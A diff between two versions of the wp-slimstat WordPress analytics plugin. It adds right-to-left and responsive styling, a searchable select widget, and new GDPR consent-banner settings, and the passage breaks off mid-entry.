\n@@ -2443,6 +2962,11 @@\n   transform: translateY(3px);\n   margin-right: 2px;\n   border: solid 1px #fff;\n+\n+  [dir=\"rtl\"] & {\n+    margin-right: 0;\n+    margin-left: 2px;\n+  }\n }\n \n \u002F\u002F New Styles\n@@ -2496,6 +3020,11 @@\n     position: fixed;\n     z-index: 2;\n     display: none;\n+\n+    [dir=\"rtl\"] & {\n+      left: auto;\n+      right: 0;\n+    }\n   }\n \n   #slimstat-date-filters {\n@@ -2511,6 +3040,11 @@\n       color: $grayOne;\n       transition: 0.3s all ease-out;\n \n+      [dir=\"rtl\"] & {\n+        float: right;\n+        margin: 0 0 5px 5px;\n+      }\n+\n       &:hover {\n         background-color: $grayFour;\n       }\n@@ -2544,6 +3078,11 @@\n       padding-left: 12px;\n       padding-right: 12px;\n \n+      [dir=\"rtl\"] & {\n+        padding-left: 12px;\n+        padding-right: 12px;\n+      }\n+\n       &:hover {\n         background-color: black;\n       }\n@@ -2601,6 +3140,12 @@\n     border: none;\n     margin-top: 25px;\n     border-radius: 10px;\n+    \u002F* Ensure table never exceeds container width *\u002F\n+    width: 100%;\n+    max-width: 100%;\n+    \u002F* Prefer content wrapping over horizontal scroll *\u002F\n+    border-collapse: separate;\n+    table-layout: auto;\n \n     tr {\n       &:first-of-type {\n@@ -2618,25 +3163,39 @@\n       th {\n         padding: 25px 20px;\n         color: $grayOne;\n+        \u002F* Allow header text to wrap and not force width *\u002F\n+        min-width: 0;\n+        white-space: normal;\n+        word-break: break-word;\n+        overflow-wrap: anywhere;\n       }\n \n       td {\n         padding: 25px 20px;\n         color: $grayOne;\n+        \u002F* Let cell content wrap and avoid overflow *\u002F\n+        min-width: 0;\n+        white-space: normal;\n+        word-break: break-word;\n+        overflow-wrap: anywhere;\n \n         input {\n           border: 2px solid $grayFour;\n           border-radius: 50px;\n+          \u002F* Avoid input overflow in narrow viewports *\u002F\n+          max-width: 100%;\n         }\n \n         textarea {\n           border: 2px solid $grayFour;\n           border-radius: 10px;\n+          max-width: 100%;\n         }\n \n         select {\n           border: 2px solid $grayFour;\n           border-radius: 50px;\n+          max-width: 100%;\n         }\n \n         .button-primary {\n@@ -2644,6 +3203,18 @@\n           color: $brand;\n           background-color: white;\n           border-radius: 50px;\n+          max-width: 100%;\n+        }\n+\n+        \u002F* Make long links and code wrap instead of pushing layout *\u002F\n+        a,\n+        code,\n+        pre,\n+        .description {\n+          white-space: normal;\n+          word-break: break-word;\n+          overflow-wrap: anywhere;\n+          max-width: 100%;\n         }\n \n         .tag-editor {\n@@ -2689,6 +3260,8 @@\n         color: $grayTwo;\n         margin-top: 7px;\n         display: block;\n+        word-wrap: break-word;\n+        max-width: 100%;\n       }\n     }\n   }\n@@ -2718,6 +3291,13 @@\n       display: block;\n       width: 100%;\n       margin: 0;\n+      appearance: none;\n+      -webkit-appearance: none;\n+      -moz-appearance: none;\n+      background-image: url(\"data:image\u002Fsvg+xml,%3Csvg xmlns='http:\u002F\u002Fwww.w3.org\u002F2000\u002Fsvg' width='16' height='16' viewBox='0 0 16 16'%3E%3Cpolyline points='4 6 8 10 12 6' fill='none' stroke='%23666' stroke-width='2' stroke-linecap='round' stroke-linejoin='round'\u002F%3E%3C\u002Fsvg%3E\");\n+      background-repeat: no-repeat;\n+      background-position: right 8px center;\n+      padding-right: 32px;\n     }\n \n     input {\n@@ -2734,8 +3314,9 @@\n         color: $brand;\n         width: auto;\n \n-        .rtl & {\n+        [dir=\"rtl\"] & {\n           margin-left: 0;\n+          margin-right: 0;\n         }\n       }\n     }\n@@ -2763,7 +3344,7 @@\n       \u002F\u002F box-shadow: 3px 0px 15px 0px rgba(0, 0, 0, 0.02);\n       margin-right: 0.5%;\n \n-      .rtl & {\n+      [dir=\"rtl\"] & {\n         margin-right: 0;\n         margin-left: 0.5%;\n       }\n@@ -2849,7 +3430,7 @@\n           }\n         }\n \n-        .rtl & {\n+        [dir=\"rtl\"] & {\n           float: left;\n \n           a.slimstat-font-download span.dashicons::before {\n@@ -2880,6 +3461,7 @@\n       }\n \n       .slimstat-browser-icon,\n+      .slimstat-flag-icon,\n       span.slimstat-flag-container {\n         position: relative !important;\n         width: 18px;\n@@ -3044,6 +3626,12 @@\n   margin-left: -20px;\n   box-sizing: border-box;\n \n+  [dir=\"rtl\"] & {\n+    margin-left: 0;\n+    margin-right: -20px;\n+    justify-content: flex-end;\n+  }\n+\n   .logo {\n     width: 180px;\n     height: auto;\n@@ -3060,6 +3648,10 @@\n   .go-pro {\n     text-align: left;\n \n+    [dir=\"rtl\"] & {\n+      text-align: right;\n+    }\n+\n     a {\n       display: flex;\n       align-items: center;\n@@ -3071,12 +3663,22 @@\n       font-weight: 400;\n       cursor: pointer;\n \n+      [dir=\"rtl\"] & {\n+        justify-content: flex-end;\n+      }\n+\n       .icon {\n         background: url(\"..\u002Fimages\u002Fwhite-right-chevron.png\") no-repeat center center\u002Fcontain;\n         width: 10px;\n         height: 10px;\n         margin-left: 5px;\n         display: block;\n+\n+        [dir=\"rtl\"] & {\n+          margin-left: 0;\n+          margin-right: 5px;\n+          transform: scaleX(-1);\n+        }\n       }\n     }\n \n@@ -3085,6 +3687,10 @@\n       font-weight: 300;\n       color: white;\n       margin: 0;\n+\n+      [dir=\"rtl\"] & {\n+        text-align: right;\n+      }\n     }\n   }\n \n@@ -3097,6 +3703,12 @@\n     bottom: 20px;\n     color: white;\n \n+    [dir=\"rtl\"] & {\n+      right: auto;\n+      left: 20px;\n+      justify-content: flex-end;\n+    }\n+\n     p {\n       margin: 0;\n     }\n@@ -3107,10 +3719,15 @@\n       height: 16px;\n       margin-right: 7px;\n       display: block;\n+\n+      [dir=\"rtl\"] & {\n+        margin-right: 0;\n+        margin-left: 7px;\n+      }\n     }\n   }\n \n-  .rtl & {\n+  [dir=\"rtl\"] & {\n     margin-right: -20px;\n     margin-left: 0;\n \n@@ -3154,7 +3771,7 @@\n     .pro-badge {\n       right: 10px;\n \n-      .rtl & {\n+      [dir=\"rtl\"] & {\n         left: 10px;\n         right: auto;\n       }\n@@ -3242,6 +3859,10 @@\n   top: 45%;\n   transform: translateX(-50%) translateY(-50%);\n \n+  [dir=\"rtl\"] & {\n+    transform: translateX(50%) translateY(-50%);\n+  }\n+\n   * {\n     margin: 0;\n     padding: 0;\n@@ -3259,6 +3880,11 @@\n     transition: 0.3s all ease-out;\n     background: url(\"data:image\u002Fsvg+xml,%3Csvg width='33' height='32' viewBox='0 0 33 32' fill='none' xmlns='http:\u002F\u002Fwww.w3.org\u002F2000\u002Fsvg'%3E%3Cpath d='M16.6172 31.1641C24.9015 31.1641 31.6172 24.4483 31.6172 16.1641C31.6172 7.87979 24.9015 1.16406 16.6172 1.16406C8.33292 1.16406 1.61719 7.87979 1.61719 16.1641C1.61719 24.4483 8.33292 31.1641 16.6172 31.1641Z' stroke='%23222222' stroke-width='1.5' stroke-linecap='round' stroke-linejoin='round'\u002F%3E%3Cpath d='M21.1172 11.6641L12.1172 20.6641' stroke='%23222222' stroke-width='1.5' stroke-linecap='round' stroke-linejoin='round'\u002F%3E%3Cpath d='M12.1172 11.6641L21.1172 20.6641' stroke='%23222222' stroke-width='1.5' stroke-linecap='round' stroke-linejoin='round'\u002F%3E%3C\u002Fsvg%3E%0A\") no-repeat center center \u002F contain;\n \n+    [dir=\"rtl\"] & {\n+      right: auto;\n+      left: 10%;\n+    }\n+\n     &:hover {\n       opacity: 1;\n     }\n@@ -3346,6 +3972,11 @@\n           margin-right: 7px;\n           display: inline-block;\n           background: url(\"data:image\u002Fsvg+xml,%3Csvg width='18' height='17' viewBox='0 0 18 17' fill='none' xmlns='http:\u002F\u002Fwww.w3.org\u002F2000\u002Fsvg'%3E%3Cpath d='M16.4463 7.90039V8.57696C16.4454 10.1628 15.9319 11.7058 14.9823 12.976C14.0328 14.2461 12.6982 15.1753 11.1774 15.625C9.65665 16.0746 8.03129 16.0206 6.54373 15.471C5.05617 14.9215 3.78612 13.9057 2.92298 12.5754C2.05985 11.245 1.64988 9.67128 1.75422 8.08889C1.85857 6.50649 2.47163 5.00021 3.50198 3.79471C4.53233 2.5892 5.92476 1.74905 7.4716 1.39956C9.01844 1.05007 10.6368 1.20997 12.0854 1.8554' stroke='%23E8294C' stroke-width='1.8' stroke-linecap='round' stroke-linejoin='round'\u002F%3E%3Cpath d='M16.445 2.69531L9.09097 10.0567L6.88477 7.85047' stroke='%23E8294C' stroke-width='1.8' stroke-linecap='round' stroke-linejoin='round'\u002F%3E%3C\u002Fsvg%3E%0A\") no-repeat center center \u002F contain;\n+\n+          [dir=\"rtl\"] & {\n+            margin-right: 0;\n+            margin-left: 7px;\n+          }\n         }\n       }\n \n@@ -3355,6 +3986,11 @@\n         height: 20px;\n         margin-left: 3px;\n         background: url(\"data:image\u002Fsvg+xml,%3Csvg width='16' height='16' viewBox='0 0 16 16' fill='none' xmlns='http:\u002F\u002Fwww.w3.org\u002F2000\u002Fsvg'%3E%3Cpath d='M8.20996 15.4014C12.1434 15.4014 15.332 12.2127 15.332 8.2793C15.332 4.34589 12.1434 1.15723 8.20996 1.15723C4.27655 1.15723 1.08789 4.34589 1.08789 8.2793C1.08789 12.2127 4.27655 15.4014 8.20996 15.4014Z' stroke='%23C3C4C7' stroke-width='1.2' stroke-linecap='round' stroke-linejoin='round'\u002F%3E%3Cpath d='M6.13672 6.14245C6.30416 5.66645 6.63466 5.26508 7.06968 5.00942C7.5047 4.75376 8.01616 4.6603 8.51348 4.7456C9.0108 4.83091 9.46188 5.08946 9.78683 5.47548C10.1118 5.8615 10.2896 6.35007 10.2889 6.85465C10.2889 8.27907 8.15226 8.99127 8.15226 8.99127' stroke='%23C3C4C7' stroke-width='1.2' stroke-linecap='round' stroke-linejoin='round'\u002F%3E%3Cpath d='M8.21094 11.8398H8.21769' stroke='%23C3C4C7' stroke-width='1.2' stroke-linecap='round' stroke-linejoin='round'\u002F%3E%3C\u002Fsvg%3E%0A\") no-repeat center center \u002F contain;\n+\n+        [dir=\"rtl\"] & {\n+          margin-left: 0;\n+          margin-right: 3px;\n+        }\n       }\n     }\n   }\n@@ -3378,7 +4014,7 @@\n     }\n   }\n \n-  .rtl & {\n+  [dir=\"rtl\"] & {\n     .features-flex-box {\n       .feature-item {\n         h6 .icon {\n@@ -3402,6 +4038,11 @@\n     #slimstat-pro-modal-close {\n       top: 20px;\n       right: 20px;\n+\n+      [dir=\"rtl\"] & {\n+        right: auto;\n+        left: 20px;\n+      }\n     }\n \n     h2 {\n@@ -3421,9 +4062,209 @@\n         h6 {\n           .icon {\n             transform: translateY(4px);\n+\n+            [dir=\"rtl\"] & {\n+              margin-right: 0;\n+              margin-left: 7px;\n+            }\n           }\n         }\n       }\n     }\n   }\n }\n+\n+\u002F* Custom Searchable Select Styles *\u002F\n+.slimstat-searchable-select {\n+  position: relative;\n+  display: inline-block;\n+  width: 100%;\n+\n+  .slimstat-select-wrapper {\n+    width: 180px;\n+    margin-right: 5px;\n+    position: relative;\n+    border: 1px solid $graySix;\n+    border-radius: 5px;\n+    background: #fff;\n+    cursor: pointer;\n+    min-height: 32px;\n+\n+    &:hover {\n+      border-color: $brand;\n+    }\n+\n+    &.slimstat-select-open {\n+      border-color: $brand;\n+      border-bottom-left-radius: 0;\n+      border-bottom-right-radius: 0;\n+    }\n+  }\n+\n+  .slimstat-select-display {\n+    display: flex;\n+    align-items: center;\n+    justify-content: space-between;\n+    padding: 6px 12px;\n+    min-height: 20px;\n+    font-size: 14px;\n+    color: #555;\n+\n+    &.slimstat-placeholder {\n+      color: #999;\n+    }\n+\n+    .slimstat-select-text {\n+      flex: 1;\n+      text-align: left;\n+      white-space: nowrap;\n+      overflow: hidden;\n+      text-overflow: ellipsis;\n+    }\n+\n+    .slimstat-select-arrow {\n+      flex-shrink: 0;\n+      margin-left: 8px;\n+      transition: transform 0.2s ease;\n+      display: flex;\n+      align-items: center;\n+      justify-content: center;\n+      width: 16px;\n+      height: 16px;\n+      color: #666;\n+\n+      svg {\n+        width: 16px;\n+        height: 16px;\n+        fill: none;\n+        stroke: currentColor;\n+        stroke-width: 2;\n+        stroke-linecap: round;\n+        stroke-linejoin: round;\n+      }\n+    }\n+  }\n+\n+  .slimstat-select-wrapper.slimstat-select-open .slimstat-select-arrow {\n+    transform: rotate(180deg);\n+  }\n+\n+  .slimstat-select-dropdown {\n+    position: absolute;\n+    top: 100%;\n+    left: 0;\n+    right: 0;\n+    background: #fff;\n+    border: 1px solid $brand;\n+    border-top: none;\n+    border-radius: 0 0 5px 5px;\n+    box-shadow: 0 2px 8px rgba(0, 0, 0, 0.1);\n+    z-index: 1000;\n+    max-height: 200px;\n+    overflow: hidden;\n+  }\n+\n+  .slimstat-select-search {\n+    position: relative;\n+    padding: 8px;\n+\n+    input {\n+      width: 100%;\n+      padding: 6px 12px;\n+      border: 1px solid #ddd;\n+      border-radius: 3px;\n+      font-size: 14px;\n+      outline: none;\n+\n+      &:focus {\n+        border-color: $brand;\n+        box-shadow: 0 0 0 1px $brand;\n+      }\n+    }\n+  }\n+\n+  .slimstat-select-options {\n+    max-height: 150px;\n+    overflow-y: auto;\n+  }\n+\n+  .slimstat-select-option {\n+    display: flex;\n+    width: 100%;\n+    padding: 8px 12px;\n+    border: none;\n+    background: none;\n+    text-align: left;\n+    font-size: 14px;\n+    color: #555;\n+    cursor: pointer;\n+    transition: background-color 0.2s ease;\n+\n+    &:hover {\n+      background-color: #f5f5f5;\n+    }\n+\n+    &.slimstat-selected {\n+      background-color: $brand;\n+      color: #fff;\n+    }\n+\n+    &.slimstat-hidden {\n+      display: none;\n+    }\n+  }\n+\n+  .slimstat-select-no-results {\n+    padding: 12px;\n+    text-align: center;\n+    color: #999;\n+    font-style: italic;\n+    font-size: 14px;\n+  }\n+\n+  .slimstat-select-loading {\n+    padding: 12px;\n+    text-align: center;\n+    color: #666;\n+    font-size: 14px;\n+\n+    &:before {\n+      content: \"\\\\f463\";\n+      font-family: dashicons;\n+      display: inline-block;\n+      animation: spin 1s linear infinite;\n+      margin-right: 5px;\n+    }\n+  }\n+}\n+.slimstat-option-icon {\n+  display: inline-block;\n+  vertical-align: middle;\n+  margin-right: 5px;\n+  flex-shrink: 0;\n+  border-radius: 3px;\n+  object-fit: cover;\n+}\n+.slimstat-select-option {\n+  align-items: center;\n+\n+  .slimstat-option-label {\n+    flex: 1;\n+    overflow: hidden;\n+    text-overflow: ellipsis;\n+    white-space: nowrap;\n+  }\n+}\n+.slimstat-select-text .slimstat-option-icon {\n+  margin-right: 5px;\n+  vertical-align: middle;\n+  display: inline-block;\n+}\n+.rtl .slimstat-option-icon {\n+  margin-right: 0;\n+  margin-left: 5px;\n+}\n+.rtl .slimstat-select-text .slimstat-option-icon {\n+  margin-right: 0;\n+  margin-left: 5px;\n+}\n\\ No newline at end of file\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.5\u002Fadmin\u002Fconfig\u002Findex.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Fadmin\u002Fconfig\u002Findex.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.5\u002Fadmin\u002Fconfig\u002Findex.php\t2025-08-25 08:38:44.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Fadmin\u002Fconfig\u002Findex.php\t2026-03-08 13:29:08.000000000 +0000\n@@ -83,21 +83,10 @@\n                 'description'      => __('Customize the information displayed when activating the option here above: \u003Cstrong>hits\u003C\u002Fstrong> refers to the total amount of pageviews, regardless of the user; \u003Cstrong>(unique) IPs\u003C\u002Fstrong> displays the amount of distinct IP addresses tracked in the given time range.', 'wp-slimstat'),\n             ],\n \n-            \u002F\u002F General - Database\n-            'general_database_header' => [\n-                'title' => __('Database', 'wp-slimstat'),\n-                'type'  => 'section_header',\n-            ],\n-            'auto_purge' => [\n-                'title'             => __('Data Retention', 'wp-slimstat'),\n-                'type'              => 'integer',\n-                'after_input_field' => __('days', 'wp-slimstat'),\n-                'description'       => __('Enable a daily cron job to erase or archive (see option here below) pageviews older than the number of days specified here. You can enter \u003Cstrong>0\u003C\u002Fstrong> (the number zero) if you want to disable this feature.', 'wp-slimstat'),\n-            ],\n-            'auto_purge_delete' => [\n-                'title'       => __('Archive Records', 'wp-slimstat'),\n+            'display_notifications' => [\n+                'title'       => __('Slimstat Notifications', 'wp-slimstat'),\n                 'type'        => 'toggle',\n-                'description' => __('If server space is not an issue for you, use this option to archive pageviews to a separate table, instead of deleting them. This will increase performance by reducing the amount of data to process in the main table, while allowing you to access your data at a later time, if needed. Please note that the archive table (\u003Cstrong>wp_slim_stats_archive\u003C\u002Fstrong>) will be \u003Cstrong>DELETED\u003C\u002Fstrong> along with all the other tables, when you uninstall Slimstat. Make sure to backup your data before you proceed.', 'wp-slimstat'),\n+                'description' => __('Display important notifications inside the plugin, such as new version releases, feature updates, news, and special offers.', 'wp-slimstat'),\n             ],\n         ],\n     ],\n@@ -105,43 +94,167 @@\n     2 => [\n         'title' => __('Tracker', 'wp-slimstat'),\n         'rows'  => [\n-            \u002F\u002F Tracker - Data Protection\n-            'privacy_header' => [\n-                'title' => __('Data Protection', 'wp-slimstat'),\n+            \u002F\u002F Tracker - Consent Management\n+            'consent_management_header' => [\n+                'title' => __('Consent Management', 'wp-slimstat'),\n                 'type'  => 'section_header',\n             ],\n-            'anonymize_ip' => [\n-                'title'       => __('Privacy Mode', 'wp-slimstat'),\n-                'type'        => 'toggle',\n-                'description' => __(\"Mask your visitors' IP addresses (by converting the last number into a zero) and do not track their browser fingerprint, to comply with European privacy laws.\", 'wp-slimstat'),\n-            ],\n-            'set_tracker_cookie' => [\n-                'title'       => __('Set Cookie', 'wp-slimstat'),\n-                'type'        => 'toggle',\n-                'description' => __('Disable this option if, for legal or security reasons, you do not want Slimstat to assign a \u003Ca href=\"https:\u002F\u002Fen.wikipedia.org\u002Fwiki\u002FHTTP_cookie\" target=\"_blank\">cookie\u003C\u002Fa> to your visitors. Please note that by deactivating this feature, Slimstat will not be able to identify returning visitors as such.', 'wp-slimstat'),\n-            ],\n-            'display_opt_out' => [\n-                'title'       => __('Allow Opt-out', 'wp-slimstat'),\n-                'type'        => 'toggle',\n-                'description' => __(\"The European \u003Ca href='https:\u002F\u002Fen.wikipedia.org\u002Fwiki\u002FGeneral_Data_Protection_Regulation' target='_blank'>General Data Protection Regulation (GDPR)\u003C\u002Fa> requires website owners to provide a way for their visitors to opt-out of tracking. By enabling this option, the message here below will be displayed to all users who don't have the corresponding cookie set.\", 'wp-slimstat'),\n-            ],\n+\t\t\t'gdpr_enabled' => [\n+\t\t\t\t'title'       => __('GDPR Compliance Mode', 'wp-slimstat'),\n+\t\t\t\t'type'        => 'toggle',\n+\t\t\t\t'description' => __('\u003Cstrong>GDPR Compliance:\u003C\u002Fstrong> When enabled, SlimStat requires user consent before tracking (except in Anonymous Tracking mode). When disabled, tracking operates normally without consent checks.\u003Cbr\u002F>\u003Cbr\u002F>\u003Cstrong>Enabled:\u003C\u002Fstrong> (Recommended for EU\u002FEEA) Tracking requires consent unless Anonymous Tracking mode is active. This ensures GDPR compliance.\u003Cbr\u002F>\u003Cstrong>Disabled:\u003C\u002Fstrong> Normal tracking without consent checks. Use this only if you are not subject to GDPR regulations (e.g., non-EU websites with no EU visitors).', 'wp-slimstat'),\n+\t\t\t],\n+\t\t\t'consent_integration' => [\n+\t\t\t\t'title'         => __('Consent Plugin Integration', 'wp-slimstat'),\n+\t\t\t\t'type'          => 'select',\n+\t\t\t\t'description'   => __('\u003Cstrong>GDPR Compliance:\u003C\u002Fstrong> Integrate with a Consent Management Platform (CMP) to ensure tracking only occurs with user consent.\u003Cbr\u002F>\u003Cbr\u002F>\u003Cstrong>SlimStat Consent Banner:\u003C\u002Fstrong> (Recommended) Use SlimStat\\'s built-in banner with customizable messaging and server-side consent tracking.\u003Cbr\u002F>\u003Cstrong>Via WP Consent API:\u003C\u002Fstrong> Integrates with CMPs supporting WordPress Consent API (Complianz, CookieYes, etc.). Server-side consent checking available for both modes.', 'wp-slimstat'),\n+\t\t\t\t'select_values' => [\n+\t\t\t\t\t'slimstat_banner'    => __('SlimStat Consent Banner (Recommended)', 'wp-slimstat'),\n+\t\t\t\t\t'wp_consent_api'     => __('Via WP Consent API', 'wp-slimstat'),\n+\t\t\t\t\t\u002F\u002F 'real_cookie_banner' => __('Real Cookie Banner', 'wp-slimstat'),\n+\t\t\t\t],\n+\t\t\t\t'conditional' => [\n+\t\t\t\t\t'field' => 'gdpr_enabled',\n+\t\t\t\t\t'type' => 'checked',\n+\t\t\t\t],\n+\t\t\t],\n+\t\t\t'slimstat_banner_header' => [\n+\t\t\t\t'title' => __('SlimStat Consent Banner', 'wp-slimstat'),\n+\t\t\t\t'type'  => 'section_header',\n+\t\t\t\t'conditional' => [\n+\t\t\t\t\t'field' => 'gdpr_enabled,consent_integration',\n+\t\t\t\t\t'type' => 'checked,equals',\n+\t\t\t\t\t'value' => '|||slimstat_banner',\n+\t\t\t\t],\n+\t\t\t],\n             'opt_out_cookie_names' => [\n                 'title'       => __('Opt-out Cookies', 'wp-slimstat'),\n                 'type'        => 'textarea',\n                 'description' => __(\"If you are already using another tool to monitor which users opt-out of tracking, and assuming that this tool sets its own cookie to remember their selection, you can enter the cookie names and values in this field to let Slimstat comply with their choice. Please use the following format: \u003Ccode>cookie_name=value\u003C\u002Fcode>. Slimstat will track any visitors who either don't send a cookie with that name, or send a cookie whose value \u003Cstrong>does not CONTAIN\u003C\u002Fstrong> the string you specified. If your tool uses structured values like JSON or similar encodings, find the substring related to tracking and enter that as the value here below. For example, \u003Ca href='https:\u002F\u002Fwordpress.org\u002Fplugins\u002Fsmart-cookie-kit\u002F' target='_blank'>Smart Cookie Kit\u003C\u002Fa> uses something like \u003Ccode>{\\\"settings\\\":{\\\"technical\\\":true,\\\"slimstat\\\":false,\\\"profiling\\\":false},\\\"ver\\\":\\\"2.0.0\\\"}\u003C\u002Fcode>, so your pair should look like: \u003Ccode>CookiePreferences-your.website.here=\\\"slimstat\\\":false\u003C\u002Fcode>. Separate multiple pairs with commas.\", 'wp-slimstat'),\n+                'conditional' => [\n+                    'field' => 'gdpr_enabled,consent_integration',\n+                    'type' => 'checked,equals',\n+                    'value' => '|||',\n+                ],\n             ],\n             'opt_in_cookie_names' => [\n                 'title'       => __('Opt-in Cookies', 'wp-slimstat'),\n                 'type'        => 'textarea',\n                 'description' => __('Similarly to the option here above, you can configure Slimstat to work with an opt-in mechanism. Please use the following format: \u003Ccode>cookie_name=value\u003C\u002Fcode>. Slimstat will only track visitors who send a cookie whose value \u003Cstrong>CONTAINS\u003C\u002Fstrong> the string you specified. Separate multiple pairs with commas.', 'wp-slimstat'),\n+                'conditional' => [\n+                    'field' => 'gdpr_enabled,consent_integration',\n+                    'type' => 'checked,equals',\n+                    'value' => '|||',\n+                ],\n             ],\n-            'opt_out_message' => [\n-                'title'           => __('Opt-out Message', 'wp-slimstat'),\n-                'type'            => 'textarea',\n-                'rows'            => 4,\n-                'use_tag_list'    => false,\n-                'use_code_editor' => 'htmlmixed',\n-                'description'     => __('Customize the message displayed to your visitors here below. Match your website styles and layout by adding the appropriate HTML markup to your message.', 'wp-slimstat'),\n+\t\t\t'opt_out_message' => [\n+\t\t\t\t'title'             => __('Consent Banner Message', 'wp-slimstat'),\n+\t\t\t\t'type'              => 'rich_text',\n+\t\t\t\t'after_input_field' => '',\n+\t\t\t\t'description'       => __('Content displayed inside the SlimStat consent banner. Basic HTML (p, a, strong, em) is allowed. Use the editor above to format your message.', 'wp-slimstat'),\n+\t\t\t\t'conditional' => [\n+\t\t\t\t\t'field' => 'gdpr_enabled,consent_integration',\n+\t\t\t\t\t'type' => 'checked,equals',\n+\t\t\t\t\t'value' => '|||slimstat_banner',\n+\t\t\t\t],\n+\t\t\t],\n+\t\t\t'gdpr_accept_button_text' => [\n+\t\t\t\t'title'              => __('Accept Button Label', 'wp-slimstat'),\n+\t\t\t\t'type'               => 'text',\n+\t\t\t\t'before_input_field' => '',\n+\t\t\t\t'after_input_field'  => '',\n+\t\t\t\t'description'        => __('Leave empty to use the default \"Accept\" text.', 'wp-slimstat'),\n+\t\t\t\t'conditional' => [\n+\t\t\t\t\t'field' => 'gdpr_enabled,consent_integration',\n+\t\t\t\t\t'type' => 'checked,equals',\n+\t\t\t\t\t'value' => '|||slimstat_banner',\n+\t\t\t\t],\n+\t\t\t],\n+\t\t\t'gdpr_decline_button_text' => [\n+\t\t\t\t'title'              => __('Decline Button Label', 'wp-slimstat'),\n+\t\t\t\t'type'               => 'text',\n+\t\t\t\t'before_input_field' => '',\n+\t\t\t\t'after_input_field'  => '',\n+\t\t\t\t'description'        => __('Leave empty to use the default \"Deny\" text.', 'wp-slimstat'),\n+\t\t\t\t'conditional' => [\n+\t\t\t\t\t'field' => 'gdpr_enabled,consent_integration',\n+\t\t\t\t\t'type' => 'checked,equals',\n+\t\t\t\t\t'value' => '|||slimstat_banner',\n+\t\t\t\t],\n+\t\t\t],\n+            'gdpr_theme_mode' => [\n+                'title'         => __('Banner Theme Mode', 'wp-slimstat'),\n+                'type'          => 'select',\n+                'description'   => __(\"Choose the theme mode for the GDPR consent banner. \u003Cstrong>Light\u003C\u002Fstrong> uses light colors, \u003Cstrong>Dark\u003C\u002Fstrong> uses dark colors, and \u003Cstrong>Auto\u003C\u002Fstrong> follows the user's system preference.\", 'wp-slimstat'),\n+                'select_values' => [\n+                    'light' => __('Light Mode', 'wp-slimstat'),\n+                    'dark'  => __('Dark Mode', 'wp-slimstat'),\n+                    'auto'  => __('Auto (Follow System)', 'wp-slimstat'),\n+                ],\n+                'conditional' => [\n+\t\t\t\t\t'field' => 'gdpr_enabled,consent_integration',\n+\t\t\t\t\t'type' => 'checked,equals',\n+\t\t\t\t\t'value' => '|||slimstat_banner',\n+\t\t\t\t],\n+            ],\n+\u002F*\n+            'consent_level_integration' => [\n+                'title'         => __('Consent Category', 'wp-slimstat'),\n+                'type'          => 'select',\n+                'description'   => __('Select the consent category SlimStat should belong to. Tracking will only occur if the visitor grants consent for this specific category.\u003Cbr\u002F>\u003Cbr\u002F>\u003Cstrong>Functional:\u003C\u002Fstrong> Essential website functionality. Not typically used for analytics.\u003Cbr\u002F>\u003Cstrong>Statistics-Anonymous:\u003C\u002Fstrong> Anonymous analytics only. Use this if you have enabled Anonymous Tracking mode OR configured SlimStat to be cookie-less with anonymized\u002Fhashed IPs.\u003Cbr\u002F>\u003Cstrong>Statistics:\u003C\u002Fstrong> (Default & Recommended) Standard analytics tracking. Appropriate for both anonymous and standard tracking modes. Real Cookie Banner and most CMPs recommend this category for analytics plugins.\u003Cbr\u002F>\u003Cstrong>Marketing:\u003C\u002Fstrong> Advertising and user profiling. Not applicable to SlimStat core functionality.\u003Cbr\u002F>\u003Cbr\u002F>\u003Cstrong>Note for Real Cookie Banner:\u003C\u002Fstrong> Make sure to configure SlimStat in the Real Cookie Banner plugin settings and assign it to the same category selected here.', 'wp-slimstat'),\n+                'select_values' => [\n+                    'functional'            => __('Functional', 'wp-slimstat'),\n+                    'statistics-anonymous'  => __('Statistics-Anonymous', 'wp-slimstat'),\n+                    'statistics'            => __('Statistics', 'wp-slimstat'),\n+                    'marketing'             => __('Marketing', 'wp-slimstat'),\n+                ],\n+                'conditional' => [\n+\t\t\t\t\t'field' => 'gdpr_enabled,consent_integration',\n+\t\t\t\t\t'type' => 'checked,in',\n+\t\t\t\t\t'value' => '|||wp_consent_api,real_cookie_banner',\n+\t\t\t\t],\n+            ],\n+*\u002F\n+\n+            \u002F\u002F Tracker - Data Protection\n+            'privacy_header' => [\n+                'title' => __('Data Protection', 'wp-slimstat'),\n+                'type'  => 'section_header',\n+            ],\n+\u002F*\n+            'anonymous_tracking' => [\n+                'title'       => __('Anonymous Tracking Mode', 'wp-slimstat'),\n+                'type'        => 'toggle',\n+                'description' => __('\u003Cstrong>GDPR-Safe Mode:\u003C\u002Fstrong> When enabled, SlimStat operates in strict GDPR-compliant mode.\u003Cbr\u002F>\u003Cbr\u002F>\u003Cstrong>Before Consent:\u003C\u002Fstrong> Tracks anonymously (hashed IPs, no cookies, no username\u002Femail)\u003Cbr\u002F>\u003Cstrong>After Consent:\u003C\u002Fstrong> Upgrades to full tracking (real IPs, cookies, user identification)\u003Cbr\u002F>\u003Cbr\u002F>This mode is recommended if you want to track all visitors while staying GDPR-compliant. Anonymous data is collected without consent, then upgraded when consent is granted.', 'wp-slimstat'),\n+                'conditional' => [\n+\t\t\t\t\t'field' => 'gdpr_enabled',\n+\t\t\t\t\t'type' => 'checked',\n+\t\t\t\t],\n+            ],\n+            'do_not_track' => [\n+                'title'       => __('Respect Do Not Track (DNT)', 'wp-slimstat'),\n+                'type'        => 'toggle',\n+                'description' => __('\u003Cstrong>Privacy Enhancement:\u003C\u002Fstrong> Honor the DNT browser header. When a visitor has DNT enabled in their browser, NO tracking occurs (not even anonymous tracking).\u003Cbr\u002F>\u003Cbr\u002F>GDPR does not require this, but it demonstrates respect for user privacy preferences. Recommended for privacy-focused websites.', 'wp-slimstat'),\n+                'conditional' => [\n+\t\t\t\t\t'field' => 'gdpr_enabled',\n+\t\t\t\t\t'type' => 'checked',\n+\t\t\t\t],\n+            ],\n+*\u002F\n+            'anonymize_ip' => [\n+                'title'       => __('Anonymize IP Addresses', 'wp-slimstat'),\n+                'type'        => 'toggle',\n+                'description' => 